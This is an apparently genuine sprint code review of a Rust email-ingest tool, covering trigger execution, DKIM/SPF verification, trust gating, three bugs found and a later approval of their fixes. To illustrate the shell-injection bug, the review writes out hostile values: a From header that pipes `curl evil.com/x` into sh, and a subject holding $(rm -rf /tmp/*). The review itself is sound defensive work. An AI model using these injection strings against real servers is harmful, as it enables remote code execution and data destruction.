Sprint 4 Review: Channel Manager + Inbound Trust

Sprint Goal Assessment

Sprint 4 aimed to enable automated reactions to incoming email with security gating. The implementation delivers all four stories (S4.1-S4.4) with a clean architecture: a new src/channel.rs module handles trigger execution, match filtering, and trust policy, while src/ingest.rs integrates DKIM/SPF verification and trigger execution into the delivery pipeline. The scope is complete and well-structured.

Acceptance Criteria Checklist

S4.1 — Channel Manager: Trigger Execution

• on_receive rules in config.yaml execute on email delivery — Met
• Template variables substituted correctly — Met (all 7 variables: filepath, from, to, subject, mailbox, id, date)
• Trigger failures logged but do not block delivery — Met (stderr logging, no non-zero exit)
• Multiple triggers execute in order — Met (unit test verifies ordering)
• Mailboxes with no triggers work without errors — Met
• Unit tests for template substitution — Met (all variables, special characters, no variables)
• Integration test: trigger executes on delivery — Met (ingest_trigger_executes_on_delivery)
• Integration test: failing trigger does not affect delivery — Met (ingest_failing_trigger_does_not_block_delivery)

S4.2 — Match Filters

• match.from supports glob patterns — Met (uses glob-match crate)
• match.subject matches as case-insensitive substring — Met
• match.has_attachment filters on attachment presence — Met
• All conditions use AND logic — Met (tested with partial match cases)
• Trigger with no match fires on every email — Met
• Unit tests for each filter type — Met
• Unit tests for AND logic — Met (3 partial-match failure tests + 1 full-match success)

S4.3 — Inbound DKIM/SPF Verification

• Frontmatter contains dkim: pass|fail|none and spf: pass|fail|none — Met
• Verification uses mail-auth crate — Met
• Verification failure does not block email storage — Met
• Verification results accurate against known DKIM-signed email — Not verified (no fixture with real DKIM signature; only unsigned emails tested)
• Unit test: unsigned email produces dkim: none, spf: none — Met
• Unit test: IP parsing from Received headers — Met (bracketed, loopback, IPv6)

S4.4 — Trust Policy + Trusted Senders

• trust: none — all triggers fire — Met
• trust: verified — triggers only fire when dkim: pass — Met
• trusted_senders glob patterns — Met
• Allowlisted senders bypass DKIM check — Met
• Trust settings per-mailbox in config.yaml — Met
• Email always stored regardless of trust — Met
• Unit tests for trust gating — Met (8 trust-related unit tests)
• Integration test: full pipeline with trust — Met (4 integration tests)

Bugs Found

BUG-1 (Critical, Security): Shell injection via template variables

substitute_template() in channel.rs directly interpolates untrusted email metadata (from, subject, etc.) into shell commands that are executed via sh -c. No shell escaping is performed.

A malicious sender could craft:

• From: `curl evil.com/x|sh`@attacker.com
• Subject: hello$(rm -rf /tmp/*)world

These would execute arbitrary commands on the server during trigger execution. This is especially dangerous because:

1. The from and subject fields come directly from the incoming email and are fully attacker-controlled.
2. Even with trust: verified, the substitution happens for DKIM-passing emails from any sender, so a verified attacker domain can still exploit this.
3. The command is run as the same user that runs aimx ingest (likely the mail delivery user).

Fix: Shell-escape all template variable values before substitution. Use something like shell_escape::escape() or manually replace shell metacharacters. Alternatively, pass template values as environment variables to the child process instead of interpolating them into the command string.

BUG-2 (Medium): Received header folding not handled in extract_received_ip

extract_received_ip() iterates raw email line-by-line and checks for lines starting with Received:. However, RFC 5322 headers are commonly folded across multiple lines (continuation lines start with whitespace/tab). A real-world Received header like:

Received: from mail.example.com (mail.example.com
    [203.0.113.50]) by mx.local with ESMTP

will have the IP [203.0.113.50] on the continuation line, which this function will miss entirely. This means SPF verification will silently produce none for many real emails, even when SPF data is available.

Fix: Unfold headers before line-by-line parsing, or use mail-parser's built-in header parsing to extract Received headers.

BUG-3 (Medium): Invalid trust field values silently default to permissive behavior

In should_execute_triggers(), the trust field is compared with string equality against "none" and "verified". If a user mistypes the value (e.g., trust: verfied, trust: verify, trust: strict), the function falls through to return true on line 91, silently allowing all triggers to fire. This is the opposite of fail-safe behavior for a security feature.

Fix: Either validate the trust field on config load (reject unknown values), or change the fallthrough behavior to deny triggers for unknown trust values (fail-closed).

Non-Blocker Suggestions

SUGGESTION-1: Resolver duplication

verify_dkim_async and verify_spf_async each independently create a DNS resolver with the same fallback logic. Consider creating the resolver once in verify_auth and passing it to both functions.

SUGGESTION-2: SPF domain semantics

In verify_spf_async, sender_domain is derived from rcpt (the recipient), but it's used as the fallback for the sender's HELO domain. The variable naming is confusing. SPF checks the sender's domain, not the recipient's. While the actual extraction from the From header takes precedence, the fallback path uses the recipient domain which is semantically incorrect.

SUGGESTION-3: Missing test for DKIM-signed fixture

The sprint acceptance criteria call for "Unit test: parse DKIM/SPF results from a known-good DKIM-signed .eml fixture (captured from Gmail)." This is not present. While hard to do in CI (needs DNS), adding a captured DKIM-signed .eml fixture and at minimum verifying that the DKIM header is detected (not none) would add confidence.

SUGGESTION-4: dkim_headers field access

In verify_dkim_async, auth_msg.dkim_headers is accessed as a public field. Verify this is a stable part of the mail-auth API and not an internal implementation detail.

Test Coverage Assessment

Strong coverage overall: 53 new tests (36 unit in channel.rs, 10 unit in ingest.rs, 2 in config.rs, 5 integration tests). Coverage areas:

• Template substitution: thorough
• Match filters: thorough (each filter type, AND logic, edge cases)
• Trust policy: thorough (all combinations)
• DKIM/SPF parsing: basic (unsigned only, IP extraction)
• Integration: good (trigger execution, failure handling, trust gating, trusted senders, frontmatter verification)

Gaps:

• No test with a real DKIM-signed email fixture
• No test for folded Received headers
• No test for invalid trust field values
• No test for shell injection in template variables (would be valuable as a regression test after fixing)

PRD Alignment

• FR-29 (read trigger rules from config): Met
• FR-30 (cmd trigger with template variables): Met (with shell injection caveat)
• FR-31 (match filters with AND logic): Met
• FR-32 (execute synchronously, log failures, never block): Met
• FR-33 (DKIM/SPF verification with mail-auth): Met
• FR-34 (store results in frontmatter): Met
• FR-35 (per-mailbox trust config): Met
• FR-36 (trusted_senders allowlist): Met
• FR-37 (mail always stored regardless of trust): Met

Summary

Verdict: Needs significant rework

The implementation is architecturally clean and feature-complete against the sprint plan. The channel manager, match filters, and trust policy logic are well-structured and thoroughly tested. However, the shell injection vulnerability in template variable substitution (BUG-1) is a critical security issue that must be fixed before merge -- it allows any email sender to execute arbitrary commands on the server. The unhandled header folding (BUG-2) will cause SPF to silently fail for many real-world emails. The permissive fallthrough on invalid trust values (BUG-3) undermines the security intent of the trust feature.

Blockers (must fix):

1. BUG-1: Shell injection via template variables (critical security)
2. BUG-2: Received header folding breaks SPF for real-world email
3. BUG-3: Invalid trust values silently default to permissive

Non-blockers (consider for follow-up):

1. Resolver duplication in DKIM/SPF verification
2. SPF domain fallback semantics
3. Missing DKIM-signed fixture test
4. dkim_headers API stability check

Re-Review: All Blockers Resolved -- APPROVED

All three previously flagged blockers have been verified as properly fixed in commit 5dd2e68. The full test suite passes (144 unit + 29 integration = 173 tests, 0 failures).

Blocker Verification

BUG-1 (Shell injection): RESOLVED

• shell_escape::escape() correctly wraps all template variable values before substitution into sh -c commands. Values like $(rm -rf /) become safely single-quoted.
• Two solid regression tests: one verifying metacharacters are quoted, one verifying injected commands do not execute via a marker file.
• The shell-escape crate (v0.1.5) is a well-established, minimal dependency for this purpose.

BUG-2 (RFC 5322 header folding): RESOLVED

• unfold_headers() correctly joins continuation lines (lines starting with space or tab) with the preceding header line.
• extract_received_ip() now unfolds the entire header section before line-by-line parsing, and breaks at the empty line (header/body boundary).
• Four tests cover: tab-folded, space-folded, single-line preservation, and continuation joining.

BUG-3 (Invalid trust fallthrough): RESOLVED

• should_execute_triggers() now returns false (fail-closed) for unknown trust values with a clear warning via eprintln!.
• Two tests: one for the boolean return value with a typo'd trust value ("verfied"), one verifying a marker file is not created for trust="typo".

Non-Blockers (Acknowledged as Deferred)

1. Resolver duplication -- deferred, reasonable for cleanup pass
2. SPF domain fallback semantics -- deferred, only affects missing-From edge case
3. Missing DKIM-signed fixture test -- deferred, requires DNS in CI
4. dkim_headers API stability -- monitoring, pinned to 0.4

Minor Observations (Not Blocking)

• extract_mail_from() does not unfold headers before parsing, so a folded From: header with <addr> on a continuation line could be missed for SPF helo_domain extraction. Very unlikely in practice since From: values are typically short, but worth addressing in a future pass.
• extract_received_ip() only checks Received: and received: casing, not fully case-insensitive matching. Virtually all MTAs use Received: so this is cosmetic, but line.to_ascii_lowercase().starts_with("received:") would be more correct.

Recommended Merge Commit Message

[Sprint 4] Channel Manager + Inbound Trust

Add channel manager with trigger execution, match filters, inbound
DKIM/SPF verification, and trust policy gating.

- S4.1: Channel trigger execution via on_receive rules with template
  variable substitution (shell-escaped) and failure logging
- S4.2: Match filters with from glob, subject substring,
  has_attachment bool, and AND logic for all conditions
- S4.3: Inbound DKIM/SPF verification using mail-auth crate with
  results stored in frontmatter (dkim/spf: pass|fail|none)
- S4.4: Per-mailbox trust policy (none/verified) with trusted_senders
  glob allowlist that bypasses DKIM check; unknown trust values
  fail-closed
- RFC 5322 folded Received headers correctly unfolded for IP extraction
- 173 tests (144 unit + 29 integration)